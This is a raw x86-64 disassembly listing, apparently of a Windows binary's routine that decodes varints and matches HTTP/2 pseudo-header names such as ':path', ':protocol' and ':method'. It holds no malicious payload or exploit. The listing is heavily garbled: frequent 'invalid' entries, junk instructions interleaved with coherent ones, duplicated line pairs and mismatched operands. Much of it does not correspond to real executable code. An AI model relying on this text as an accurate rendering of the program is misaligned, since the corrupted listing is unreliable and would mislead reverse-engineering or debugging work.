and al, 0x30
mov rdx, qword [rsp + 0x38]
call qword [rax + 0x10]
test rdi, rdi
je 0x14001c20d
lea rcx, [rsp + 0xa8]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
call qword [rdi + 0x10]
jmp 0x14001c20d
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov r8, qword [rsp + 0x70]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rax]
lea rdx, [r8 + rdx + 0x29]
push rsp
adc byte [rcx], ch
push rsp
adc byte [rcx], ch
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x14001c566
mov r9, qword [rax + 0xd8]
test r9, r9
je 0x14001c549
lea rcx, [rax + 0xf0]
mov rdx, qword [rax + 0xe0]
mov r8, qword [rax + 0xe8]
call qword [r9 + 0x10]
mov rax, qword [rsi]
invalid
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0xe8], xmm1
movups xmmword [rax + 0xd8], xmm0
jmp 0x14001c20d
cmp byte [rax + 0x108], 0
jne 0x14001c576
mov byte [rax + 0x108], 1
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
jmp 0x14001c20a
movzx edx, word [rdx]
mov r8, qword [rcx + 0x10]
mov r9, qword [r8]
add r9, 0x2a
mov qword [r8], r9
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax]
cmp r9, qword [rcx]
jae 0x14001c5b3
mov word [rax + 0xf8], dx
jmp 0x14001c20d
cmp byte [rax + 0x108], 0
jne 0x14001c20d
mov byte [rax + 0x108], 1
jmp 0x14001c20d
mov eax, 3
add byte [rax], al
jmp 0x14001c607
mov eax, 4
jmp 0x14001c607
mov eax, 5
jmp 0x14001c607
movzx eax, sil
test al, 0xf0
je 0x14001c607
lea r8, [0x140126268]
mov edx, 0xf
add byte [rax - 0x77], cl
invalid
add byte [rax - 0x77], cl
shr eax, 0xe3
or byte [rsi], 0
mov ecx, eax
call fcn.1401046e0
mov eax, 6
jmp 0x14001c607
mov rax, rsi
invalid
mov r9, qword [rcx + 0x10]
mov r10, qword [r9]
add rax, r10
add rax, 0x27
mov qword [r9], rax
mov r9, qword [rcx + 0x18]
mov rcx, qword [rdi]
cmp rax, qword [r9]
jae 0x14001c656
inc rdx
add rcx, 0x60
mov r14, rdx
mov r15, r8
call fcn.14001ed30
mov rax, qword [rdi]
mov byte [rax + 0x60], bl
mov ecx, dword [r14]
mov edx, dword [r14 + 3]
mov dword [rax + 0x61], ecx
mov dword [rax + 0x64], edx
mov qword [rax + 0x68], r15
mov qword [rax + 0x70], rsi
jmp 0x14001c20d
invalid
invalid
invalid
cmp byte [rcx + 0x108], 0
jne 0x14001c24a
add byte [rdi], cl
test edi, esp
sti
invalid
mov byte [rcx + 0x108], 1
jmp 0x14001c24a
add byte [rax], al
mov rax, r8
mov r8, qword [r8]
mov r14, qword [rax + 8]
mov r11, qword [r8 + 8]
mov r10b, 1
cmp r11, r14
jbe 0x14001d49a
test r9b, r9b
mov r9d, 0x3f
mov esi, 0xf
sldt word [rax]
add byte [rcx + 0xf], al
int1
sldt word [rax]
add byte [rcx + 0xf], al
int1
mov r9, qword [r8]
movzx r8d, byte [r9 + r14]
lea r15, [r14 + 1]
jle 0x14001c6b7
jle 0x14001c6b7
mov qword [rax + 8], r15
mov dword [rax + 8], edi
and r8d, esi
cmp r8b, sil
jne 0x14001c6fa
cmp r11, r15
jbe 0x14001d49a
movzx ebx, byte [r9 + r14 + 1]
lea rdi, [r14 + 2]
mov qword [rax + 8], rdi
mov r8d, ebx
and r8b, 0x7f
add r8b, sil
movzx r8d, r8b
test bl, bl
js 0x14001c91c
mov rsi, rax
mov rbx, rcx
mov r14, rdi
jmp 0x14001c70c
test r8, r8
je 0x14001c7c3
mov rsi, rax
mov rbx, rcx
mov r14, r15
mov rdi, rdx
add rdx, 0x10
lea rcx, [rsp + 0x20]
call fcn.14001b3c0
movzx eax, byte [rsp + 0x20]
movzx ecx, byte [rsp + 0x60]
cmp cl, 8
stc
or byte [rbp + 0xb], dh
stc
or byte [rbp + 0xb], dh
mov byte [rbx], al
mov byte [rbx + 0x40], 8
or cl, bpl
push 0xd
add byte [rax], al
movups xmm0, xmmword [rsp + 0x21]
movups xmm1, xmmword [rsp + 0x31]
movups xmm2, xmmword [rsp + 0x41]
movups xmm3, xmmword [rsp + 0x50]
movups xmmword [rsp + 0xc0], xmm3
movups xmmword [rsp + 0xb1], xmm2
movups xmmword [rsp + 0xa1], xmm1
add byte [rdi], cl
adc dword [rsp + 0x91], eax
add byte [rdi], cl
adc dword [rsp + 0x91], eax
mov edx, dword [rsp + 0x61]
mov dword [rsp + 0xd1], edx
mov edx, dword [rsp + 0x64]
mov dword [rsp + 0xd4], edx
mov byte [rsp + 0x90], al
mov byte [rsp + 0xd0], cl
lea rcx, [rsp + 0x20]
mov rdx, rdi
mov r8, rsi
call fcn.14001db00
cmp byte [rsp + 0x20], 0
je 0x14001c7f6
movzx eax, byte [rsp + 0x21]
mov byte [rbx], al
mov byte [rbx + 0x40], 8
lea rcx, [rsp + 0x90]
call fcn.14009a0f0
jmp 0x14001d4a1
mov r14, rcx
lea rcx, [rsp + 0x20]
mov rdi, rdx
mov rsi, rax
mov r8, rax
call fcn.14001db00
cmp byte [rsp + 0x20], 0
je 0x14001c9a8
movzx eax, byte [rsp + 0x21]
mov byte [r14], al
mov byte [r14 + 0x40], 8
jmp 0x14001d4a1
and dword [rcx - 0x78], eax
invalid
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x180], xmm0
movaps xmmword [rsp + 0x190], xmm1
movaps xmmword [rsp + 0x1a0], xmm2
mov qword [rsi + 8], r14
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x180]
mov r8, rsi
call fcn.14001e110
mov rdi, qword [rsp + 0x20]
movzx eax, byte [rsp + 0x28]
movups xmm0, xmmword [rsp + 0x29]
movaps xmmword [rsp + 0x140], xmm0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x14f], rcx
test rdi, rdi
je 0x14001c7ab
mov rcx, qword [rsp + 0x14f]
mov qword [rsp + 0x88], rcx
movaps xmm0, xmmword [rsp + 0x140]
movups xmmword [rsp + 0x79], xmm0
mov qword [rsp + 0x70], rdi
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0xd0]
lea ecx, [rax - 2]
dec al
xor edx, edx
cmp cl, 6
movzx eax, al
cmovae eax, edx
movzx eax, al
lea rcx, [0x140172b70]
or eax, 0x1562c5
or eax, 0x1562c5
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x90]
test rax, rax
je case.0x140018ed4.419
lea rdx, [rsp + 0xa8]
mov r8, qword [rsp + 0x98]
mov r9, qword [rsp + 0xa0]
lea rcx, [rsp + 0x100]
call qword [rax]
mov rax, qword [rsp + 0x100]
movzx ecx, byte [rsp + 0x108]
movups xmm0, xmmword [rsp + 0x109]
movaps xmmword [rsp + 0x140], xmm0
mov rdx, qword [rsp + 0x118]
mov qword [rsp + 0x14f], rdx
jmp 0x14001cf66
cmp r11, rdi
jbe 0x14001d49a
movzx esi, byte [r9 + r14 + 2]
lea rdi, [r14 + 3]
mov qword [rax + 8], rdi
mov ebx, esi
and ebx, 0x7f
shl ebx, 7
add r8, rbx
test sil, sil
jns 0x14001c6ef
cmp r11, rdi
jbe 0x14001d49a
movzx esi, byte [r9 + r14 + 3]
lea rdi, [r14 + 4]
mov qword [rax + 8], rdi
mov ebx, esi
and ebx, 0x7f
shl ebx, 0xe
add r8, rbx
test sil, sil
jns 0x14001c6ef
cmp r11, rdi
jbe 0x14001d49a
or eax, dword [rax]
invalid
or eax, dword [rax]
add byte [rdi + 0xf], al
mov dh, 0x4c
xor dword [rcx + rcx*2], eax
add esi, 5
movzx r9d, byte [r9 + r14 + 4]
add r14, 5
mov qword [rax + 8], r14
test r9b, r9b
or byte [rbp - 0x7c], al
leave
js 0x14001d497
mov rsi, rax
mov rbx, rcx
and r9d, 0x7f
shl r9d, 0x15
add r8, r9
jmp 0x14001c70c
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0x110], xmm1
movaps xmmword [rsp + 0x120], xmm2
lea rcx, [rsp + 0x20]
mov rdx, rdi
mov r8, rsi
call fcn.14001db00
cmp byte [rsp + 0x20], 0
je case.0x140012ef4.470
movzx eax, byte [rsp + 0x21]
mov byte [r14], al
mov byte [r14 + 0x40], 8
mov rax, qword [rsp + 0x100]
test rax, rax
je 0x14001d4a1
lea rcx, [rsp + 0x118]
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
and al, 0x10
add dword [rax], eax
add bh, bh
push rax
adc cl, ch
jge 0x14001ca2c
add byte [rax], al
and al, 0x10
add dword [rax], eax
add bh, bh
push rax
adc cl, ch
jge 0x14001ca2c
add byte [rax], al
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
and al, 0x38
movups xmm2, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmmword [rsp + 0x1c0], xmm1
mov word [rax + rax*8], fs
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x1d0], edx
mov qword [rsi + 8], r15
movaps xmm0, xmmword [rsp + 0x100]
or byte [rdi], cl
sub byte [rsp + 0x100], al
movaps xmm1, xmmword [rsp + 0x110]
movaps xmm2, xmmword [rsp + 0x120]
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
and byte [rax - 0x73], cl
mov word [rax + riz*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
push rsp
and al, 0x20
and byte [rax - 0x73], cl
mov word [rax + riz*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
push rsp
and al, 0x20
mov r8, rsi
call fcn.14001e110
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1b0]
mov r8, rsi
call fcn.14001e110
mov rsi, qword [rsp + 0x170]
test rsi, rsi
je 0x14001cbab
mov rdi, qword [rsp + 0x168]
add byte [rax], al
cmp byte [rdi], 0x3a
jne 0x14001ceb2
lea rcx, [rsi - 5]
cmp rcx, 5
mov rax, r14
ja case.0x14001cae4.6
lea rdx, [0x140172b58]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
cmp byte [rdi + 1], 0x70
jne case.0x14001cae4.6
test esp, esi
or al, byte [rax]
invalid
cmp byte [rdi + 2], 0x61
jne case.0x14001cae4.6
cmp byte [rdi + 3], 0x74
jne case.0x14001cae4.6
add esi, dword [rdi + rcx - 0x7b]
loopne 0x14001cb0c
add byte [rax], al
cmp byte [rdi + 4], 0x68
jne case.0x14001cae4.6
add byte [rax], al
movups xmm0, xmmword [rsp + 0xe0]
and al, 0xe0
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xf0], cl
movups xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x20]
nop
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x20
call fcn.14001e1a0
mov rax, qword [rsp + 0x90]
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
out 0xa, al
add byte [rax], al
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
out 0xa, al
add byte [rax], al
mov rcx, qword [rsp + 0x98]
movzx edx, word [rsp + 0xa0]
movzx r8d, word [rsp + 0xa6]
mov word [rsp + 0x24], r8w
mov r8d, dword [rsp + 0xa2]
mov dword [rsp + 0x20], r8d
mov r8, qword [rsp + 0xa8]
mov qword [r14], rax
mov qword [r14 + 8], rcx
mov word [r14 + 0x10], dx
mov eax, dword [rsp + 0x20]
mov dword [r14 + 0x12], eax
movzx eax, word [rsp + 0x24]
mov word [r14 + 0x16], ax
mov qword [r14 + 0x18], r8
mov byte [r14 + 0x40], 5
jmp 0x14001d60e
invalid
add byte [rcx - 0x3a], al
invalid
mov byte [r14], 0
mov byte [r14 + 0x40], 8
mov rdi, qword [rsp + 0x168]
jmp 0x14001ced7
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx eax, word [rsp + 0x7d]
mov bh, 0x44
and al, 0x7d
movzx r9d, byte [rsp + 0x7f]
and al, 0x7f
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
lea rcx, [rsp + 0x100]
mov word [rax + rax], fs
add dword [rax], eax
add byte [rax - 0x77], cl
mov r8, rdi
mov word [rax + rax], fs
add dword [rax], eax
add byte [rax - 0x77], cl
mov r8, rdi
call fcn.1400142e0
cmp qword [rsp + 0x100], 0
jne 0x14001ce6d
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14001ce80
and byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add r8b, byte [rax]
add byte [rax - 0x75], cl
and al, 0x38
mov rcx, qword [rsp + 0x38]
mov rdx, rdi
mov edx, edi
mov r8, rdi
shr r8, 0x10
mov qword [rbx], rax
mov qword [rbx + 8], rsi
mov byte [rbx + 0x10], dl
mov byte [rbx + 0x11], dh
shr rdx, 0x30
mov word [rbx + 0x16], dx
mov dword [rbx + 0x12], r8d
mov qword [rbx + 0x18], rcx
mov byte [rbx + 0x40], 5
jmp 0x14001c7b1
mov rdx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
lea rcx, [rsp + 0x100]
mov word [rax + rax], fs
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
call fcn.1400319a0
cmp byte [rsp + 0x100], 0xb
jne 0x14001cf12
add byte [rax], al
add byte [rax], al
mov byte [rbx], 7
mov byte [rbx + 0x40], 8
jmp 0x14001d154
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
lea rcx, [rsp + 0x100]
mov rdx, rsi
mov r8, rdi
call fcn.1400142e0
cmp qword [rsp + 0x100], 0
mov esp, 0x10024
add byte [rax], al
jne 0x14001ce6d
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14001ce80
mov rcx, qword [rsp + 0x38]
mov rdx, rdi
mov r8, rdi
shr r8, 0x10
mov qword [rbx], rax
mov qword [rbx + 8], rsi
mov byte [rbx + 0x10], dl
mov byte [rbx + 0x11], dh
shr rdx, 0x30
mov word [rbx + 0x16], dx
mov dword [rbx + 0x12], r8d
mov qword [rbx + 0x18], rcx
mov byte [rbx + 0x40], 4
jmp 0x14001c7b1
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
and al, 0x7d
and al, 0x7d
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x30], eax
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x30], eax
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
lea rcx, [rsp + 0x100]
mov rdx, rsi
mov r8, rdi
call fcn.1400142e0
cmp qword [rsp + 0x100], 0
jne 0x14001ce6d
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14001ce80
mov rcx, qword [rsp + 0x38]
mov rdx, rdi
mov r8, rdi
shr r8, 0x10
mov qword [rbx], rax
mov qword [rbx + 8], rsi
mov byte [rbx + 0x10], dl
mov byte [rbx + 0x11], dh
shr rdx, 0x30
shr edx, 0x30
shr edx, 0x30
mov word [rbx + 0x16], dx
mov dword [rbx + 0x12], r8d
mov qword [rbx + 0x18], rcx
mov byte [rbx + 0x40], 2
jmp 0x14001c7b1
invalid
invalid
invalid
invalid
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
lea rcx, [rsp + 0x100]
and al, 0
add dword [rax], eax
add byte [rax - 0x77], cl
mov r8, rdi
and al, 0
add dword [rax], eax
add byte [rax - 0x77], cl
mov r8, rdi
call fcn.1400142e0
cmp qword [rsp + 0x100], 0
je 0x14001d023
mov rax, qword [rsp + 0x20]
lea rcx, [rsp + 0x38]
mov rdx, rsi
mov r8, rdi
call qword [rax + 0x10]
mov byte [rbx], 7
jmp 0x14001c7ad
mov rcx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
mov rdx, rsi
call fcn.140032790
pop rax
add dword [rax], eax
invalid
pop rax
add dword [rax], eax
invalid
add byte [rsi - 0x7b], ah
ror byte [rdi], 0x84
rol byte [rcx], 0
add byte [rsi - 0x77], ah
add eax, esi
invalid
test ax, ax
je 0x14001d066
mov word [rbx], ax
mov byte [rbx + 0x40], 7
jmp 0x14001d154
lea rcx, [rsp + 0x20]
mov rdx, rdi
mov r8, rsi
call fcn.140031650
cmp qword [rsp + 0x20], 0
je 0x14001d072
mov byte [r14], 7
mov byte [r14 + 0x40], 8
lea rcx, [rsp + 0xf8]
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x160]
lea rcx, [rsp + 0x178]
mov rdx, rdi
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rdi*2], fs
add dword [rax], eax
add byte [rax - 0x77], cl
cli
jmp 0x14001d626
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x30], rax
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x50]
movups xmmword [rbx + 0x30], xmm2
movups xmmword [rbx + 0x20], xmm1
mov rax, qword [rsp + 0x30]
mov qword [rbx + 0x10], rax
adc byte [rax - 0x75], cl
and al, 0x38
adc byte [rax - 0x75], cl
and al, 0x38
mov qword [rbx + 0x18], rax
movups xmmword [rbx], xmm0
mov byte [rbx + 0x40], 3
jmp 0x14001d154
movzx ecx, byte [rsp + 0x98]
xor eax, eax
mov qword [rsp + 0x180], rax
mov byte [rsp + 0x188], cl
movaps xmm0, xmmword [rsp + 0x140]
add dword [rax], eax
add byte [rdi], cl
adc dword [rsp + 0x189], eax
add dword [rax], eax
add byte [rdi], cl
adc dword [rsp + 0x189], eax
mov rcx, qword [rsp + 0x14f]
mov qword [rsp + 0x198], rcx
mov rsi, qword [rsp + 0x80]
test rsi, rsi
je 0x14001cffe
mov rdx, qword [rsp + 0x78]
xor ecx, ecx
leave
leave
jmp 0x14001cfbd
cmp r8b, 0x7f
je 0x14001cfce
inc rcx
cmp rsi, rcx
je case.0x14001a36d.542
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi + rcx - 0x4a], al
add al, 0xa
movzx r8d, byte [rdx + rcx]
cmp r8b, 0x1f
ja 0x14001cfab
cmp r8b, 9
je 0x14001cfb1
mov byte [rbx], 7
mov byte [rbx + 0x40], 8
test rax, rax
je 0x14001d154
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x198]
mov rdx, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
call qword [rax + 0x10]
jmp 0x14001d154
lea rax, [0x14016f768]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
and al, 0x50
and al, 0x50
lea rax, [0x140110a98]
mov qword [rsp + 0x40], rax
jmp 0x14001d114
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14001ce80
mov rcx, qword [rsp + 0x38]
mov rdx, rdi
mov r8, rdi
mov eax, edi
mov eax, edi
shr r8, 0x10
mov qword [rbx], rax
mov dword [rbx], eax
mov dword [rbx], eax
mov qword [rbx + 8], rsi
mov byte [rbx + 0x10], dl
mov byte [rbx + 0x11], dh
shr rdx, 0x30
mov word [rbx + 0x16], dx
mov dword [rbx + 0x12], r8d
mov qword [rbx + 0x18], rcx
mov byte [rbx + 0x40], 6
jmp 0x14001c7b1
mov byte [rbx], 8
mov byte [rbx + 0x40], 8
jmp 0x14001d154
or dh, al
or cl, bpl
loop 0x14001d070
add byte [rax], al
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
test byte [rax + rsi*8], ah
add byte [rax], al
invalid
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rbp - 0x7b], cl
ror byte [rcx + rcx*4 - 0x10], 0xf
je 0x14001d417
test r8, r8
mov rax, r14
je 0x14001d417
outsd dx, dword [rsi]
add eax, dword [rax]
add byte [rcx], dh
leave
xor ecx, ecx
jmp case.0x14001a36d.532
cmp r9b, 0x7f
je 0x14001d0cf
inc rcx
cmp r8, rcx
je 0x14001d439
movzx r9d, byte [rdx + rcx]
cmp r9b, 0x1f
ja 0x14001d0ac
cmp r9b, 9
je 0x14001d0b2
or dword [rbx + riz*8 - 0x3a], esi
mov byte [rax], 7
add byte [rdi], al
mov byte [rax + 0x40], 8
mov rax, qword [rsp + 0x90]
nop
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
std
invalid
invalid
nop
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
lea rcx, [rsp + 0xa8]
lea ecx, [rsp + 0xa8]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
test byte [rax + riz*4], ah
add byte [rax], al
add bh, bh
push rax
adc cl, ch
sar ch, 1
invalid
invalid
test byte [rax + riz*4], ah
add byte [rax], al
add bh, bh
push rax
adc cl, ch
sar ch, 1
invalid
lea rcx, [rsp + 0x40]
mov r8, rsi
invalid
call fcn.140012050
invalid
movups xmm0, xmmword [rsp + 0x180]
movups xmm1, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
and al, 0x48
and al, 0x48
movaps xmm2, xmmword [rsp + 0x50]
movups xmmword [rbx + 0x30], xmm2
mov qword [rbx + 0x20], rax
mov dword [rbx + 0x20], eax
mov dword [rbx + 0x20], eax
mov qword [rbx + 0x28], rcx
movups xmmword [rbx + 0x10], xmm1
sub byte [r15], cl
adc dword [rbx + 0x10], ecx
movups xmmword [rbx], xmm0
adc dword [rbx], eax
mov byte [rbx + 0x40], 0
lea rcx, [rsp + 0x88]
mov rdx, qword [rsp + 0x78]
mov r8, rsi
call qword [rdi + 0x10]
jmp 0x14001c7b1
invalid
invalid
invalid
cmp byte [rdi + 1], 0x70
jne case.0x14001cae4.6
cmp byte [rdi + 2], 0x72
jne case.0x14001cae4.6
add dh, byte [rdx + 0xf]
test dword [rsp + rax], esp
add byte [rax + 0xf6f037f], al
test dword [rdx + 4], ebx
pop rdx
add al, 0
invalid
cmp byte [rdi + 3], 0x6f
jne case.0x14001cae4.6
pop rdx
add al, 0
invalid
pop rdx
add al, 0
add byte [rax + 0xf74047f], al
test dword [rax + 4], edx
add byte [rax], al
cmp byte [rdi + 4], 0x74
jne case.0x14001cae4.6
cmp byte [rdi + 5], 0x6f
jne case.0x14001cae4.6
cmp byte [rdi + 6], 0x63
jne case.0x14001cae4.6
add al, 0
invalid
add al, 0
add byte [rax + 0xf6f077f], al
jne case.0x14001cae4.6
cmp byte [rdi + 8], 0x6c
invalid
test dword [rax], ebp
add al, 0
invalid
cmp byte [rdi + 7], 0x6f
jne case.0x14001cae4.6
cmp byte [rdi + 8], 0x6c
jg 0x14001d1bd
insb byte [rdi], dx
jne case.0x14001cae4.6
add byte [rax], al
add byte [rdi], cl
movups xmm0, xmmword [rsp + 0xe0]
adc byte [rsp + 0xe0], al
movups xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x90]
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x20
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x20
call fcn.14001e220
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x14001d631
add al, 0
invalid
add al, 0
add byte [rax - 0x75], cl
mov word [rax + rbx*4], fs
add byte [rax], al
add byte [rdi], cl
mov rcx, qword [rsp + 0x98]
movzx edx, word [rsp + 0xa0]
mov bh, 0x94
and al, 0xa0
add byte [rax], al
add byte [rax], al
mov bh, 0x94
and al, 0xa0
add byte [rax], al
add byte [rax], al
invalid
invalid
mov bh, 0x84
and al, 0xa6
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
movzx r8d, word [rsp + 0xa6]
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rsi + 0x44], ah
mov dword [rsp + 0x24], eax
add byte [rax], al
mov word [rsp + 0x24], r8w
mov r8d, dword [rsp + 0xa2]
mov dword [rsp + 0x20], r8d
mov r8, qword [rsp + 0xa8]
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov qword [r14 + 8], rcx
mov word [r14 + 0x10], dx
adc byte [rbx + 0x41202444], cl
mov dword [rsi + 0x12], eax
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
adc byte [rbx + 0x41202444], cl
mov dword [rsi + 0x12], eax
movzx eax, word [rsp + 0x24]
mov word [r14 + 0x16], ax
mov qword [r14 + 0x18], r8
mov byte [r14 + 0x40], 6
jmp 0x14001d60e
movzx ecx, byte [rdi + 1]
cmp ecx, 0x73
je case.0x14002aefe.160
invalid
add byte [rbx - 0x7af09207], al
jne 0x14001d270
invalid
cmp ecx, 0x6d
jne case.0x14001cae4.6
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax + 0xf65027f], al
invalid
add byte [rax], al
cmp byte [rdi + 2], 0x65
jg 0x14001d274
jne case.0x14001cae4.6
jne case.0x14001cae4.6
test dword [rbx + 3], ebp
add byte [rax], al
cmp byte [rdi + 3], 0x74
jne case.0x14001cae4.6
jg 0x14001d27f
je 0x14001d28d
test dword [rcx + 3], esp
add byte [rax], al
invalid
cmp byte [rdi + 4], 0x68
jne case.0x14001cae4.6
cmp byte [rdi + 5], 0x6f
jne case.0x14001cae4.6
cmp byte [rdi + 6], 0x64
jne case.0x14001cae4.6
jg 0x14001d2a0
jne case.0x14001cae4.6
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xe8
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xf0
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rbp - 0x77], cl
invalid
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
lea rcx, [rsp + 0x90]
mov rbx, rdx
mov r15, r8
call fcn.1400319a0
cmp byte [rsp + 0x90], 0xb
je case.0x14001a36d.524
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x30], rax
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movups xmmword [r14 + 0x30], xmm2
movups xmmword [r14 + 0x20], xmm1
mov rax, qword [rsp + 0x30]
mov qword [r14 + 0x10], rax
mov rax, qword [rsp + 0x38]
mov qword [r14 + 0x18], rax
movups xmmword [r14], xmm0
mov byte [r14 + 0x40], 3
jmp 0x14001d517
cmp byte [rdi + 1], 0x61
jne case.0x14001cae4.6
